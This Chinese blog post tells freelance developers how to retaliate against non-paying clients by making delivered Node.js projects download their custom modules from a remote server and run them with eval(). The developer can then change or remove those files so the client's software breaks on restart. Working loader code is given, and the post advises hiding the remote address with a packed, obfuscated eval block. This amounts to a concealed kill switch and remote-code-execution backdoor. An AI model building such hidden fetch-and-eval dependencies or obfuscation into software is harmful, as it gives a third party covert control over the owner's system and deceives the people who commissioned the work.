我是靠谱客的博主 鲤鱼小甜瓜,最近开发中收集的这篇文章主要介绍爱折腾,脑洞清奇,nodejs加载远程文件作为模块进行调用,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

/*
我们的部分程序员小伙伴多多少少会接一些外包的活,可能会遇到部分不良甲方,在签署合同没有经验有了漏洞,结果做好了项目不给全款,那么怎么办呢?留后门、定时器删除代码或者数据库等,可能产生法律问题,得不偿失。
我自己想了个办法,就是解决功能模块的依赖问题,现在的依赖2个方面,一个是npm,另外一个就是系统项目中的自定义模块。
npm 肯定无法做手脚的,那么只能加载自定义功能模块时来进行处理了。
你猜对了,功能模块不在本地,而是在远程服务器,不良甲方不给钱,呵呵,那么直接把远程文件改了地址,如果项目有重启,那么不良甲方就只能哭死了。
当然,这种思路不可用来做坏事,要做个正直的人,付完合同中约定的全款后,记得将依赖模块写入到本地。

远程文件:
httpGet.js
httpGet2.js

项目文件:
module.js
main.js

下面是简单的实现代码
*/

//httpGet.js
var qs = require("querystring");
console.log("加载外部静态模块代码1");
app["name1"]={
    c:[1,2,3],
    qs:()=>qs.stringify({a:111,b:222})
};

//httpGet2.js
var qs = require("querystring");
console.log("加载外部静态模块代码2");
app["name2"]={
    c:[4,5,6],
    qs:()=>qs.stringify({a:333,b:444})
};

//module.js
var app={}
module.exports= async function (name,url) {
    return new Promise(function (resolve, reject) {
        require('http').get(url,function(req,res){
            var html='';
            req.on('data',(data)=>{html+=data;});
            req.on('end',()=>{eval(html);resolve(app[name]);});
            req.on('error',(e)=>{reject(e.message);});
        });
    });
}


//main.js 
var module = require('./module.js');
async function main() {
   var dd= await module("name1",'http://oss.a.com/httpGet/httpGet.js');
   var cc1=dd.qs();
   console.log(cc1);
   
   var dd2= await module("name2",'http://oss.a.com/httpGet/httpGet2.js');
   var cc3=dd2.qs();
   console.log(cc3);
}
main();//执行文件

app[name],在模块定义时必须不同,否则会出现对象被覆盖,切记。

打印的结果就是:
======================
加载外部静态模块代码1
a=111&b=222
加载外部静态模块代码2
a=333&b=444
======================
当然为了避免远程文件连接被发现,可以使用加密混淆工具,这样就看不出是指向哪里了。
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p;}('0 1=l('./1.3');i h 4(){0 6=9 1("4",'8://5.a.b/2/2.3');0 7=6.d();f.c(7);0 g=9 1("k",'8://5.a.b/2/j.3');0 e=g.d();f.c(e)}4();',22,22,'var|module|httpGet|js|aa|oss|dd|cc1|http|await||com|log|qs|cc3|console|dd2|function|async|httpGet2|bb|require'.split('|'),0,{}))



最后

以上就是鲤鱼小甜瓜为你收集整理的爱折腾,脑洞清奇,nodejs加载远程文件作为模块进行调用的全部内容,希望文章能够帮你解决爱折腾,脑洞清奇,nodejs加载远程文件作为模块进行调用所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(40)

评论列表共有 0 条评论

立即
投稿
返回
顶部